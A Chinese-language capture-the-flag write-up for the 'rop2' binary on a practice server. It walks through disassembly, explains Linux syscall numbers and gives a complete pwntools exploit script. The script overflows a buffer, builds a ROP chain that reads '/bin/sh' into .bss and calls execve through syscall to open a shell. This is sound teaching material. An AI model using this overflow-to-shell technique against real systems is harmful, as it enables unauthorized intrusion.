rop2(syscall函数的系统调用)

check一下,只开了NX
image.png

拖进ida,发现一大串
image.png

image.png

image.png

v4至v15仿佛是提示词,可以看出v4是提示字符串的开头,但因为IDA没有正确识别变量的类型,把提示字符串分成了v4~v15多个变量,v4的地址为bp-0x33,v15为bp-0x9,因此字符串长度为0x33 - 0x9 = 42,y一下v4,将数据类型改为char v4[42]。


image.png

发现了syscall函数
image.png

image.png

知识补充:
syscall是可以实现系统调用的函数,4为write函数的系统调用号,3为read函数的系统调用号,如syscall(4, 1, &v4, 42)即相当于write(1, &v4, 42),syscall(3, 0, &v1, 1024)即相当于read(0, &v1, 1024),syscall的第一个参数是系统函数的系统调用号,之后的参数依次为对应函数的参数,32位的系统调用号定义在/usr/include/x8664-linux-gnu/asm/unistd32.h中,可以看到execve的调用号为11,因此如果我们构造syscall(11, "/bin/sh", 0, 0)就相当于执行了execve("/bin/sh", 0, 0)即可get shell。
注意:
传送binsh时只能用send,不能用sendline

脚本:

#-*-coding:utf-8-*-
from pwn import *
p = process('./rop2')
p = remote("hackme.inndy.tw","7703")
elf = ELF('./rop2')
bss_addr = elf.bss()
syscall = 0x08048320
overflow = 0x8048454
payload = 'a'*0x10
payload += p32(syscall) + p32(overflow) + p32(3) + p32(0) + p32(bss_addr) + p32(8)
p.sendline(payload)
p.send('/bin/sh\x00')
payload = 'a'*0x10
payload += p32(syscall) + p32(0) + p32(0xb) + p32(bss_addr) + p32(0) + p32(0)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(rop2(syscall函数的系统调用))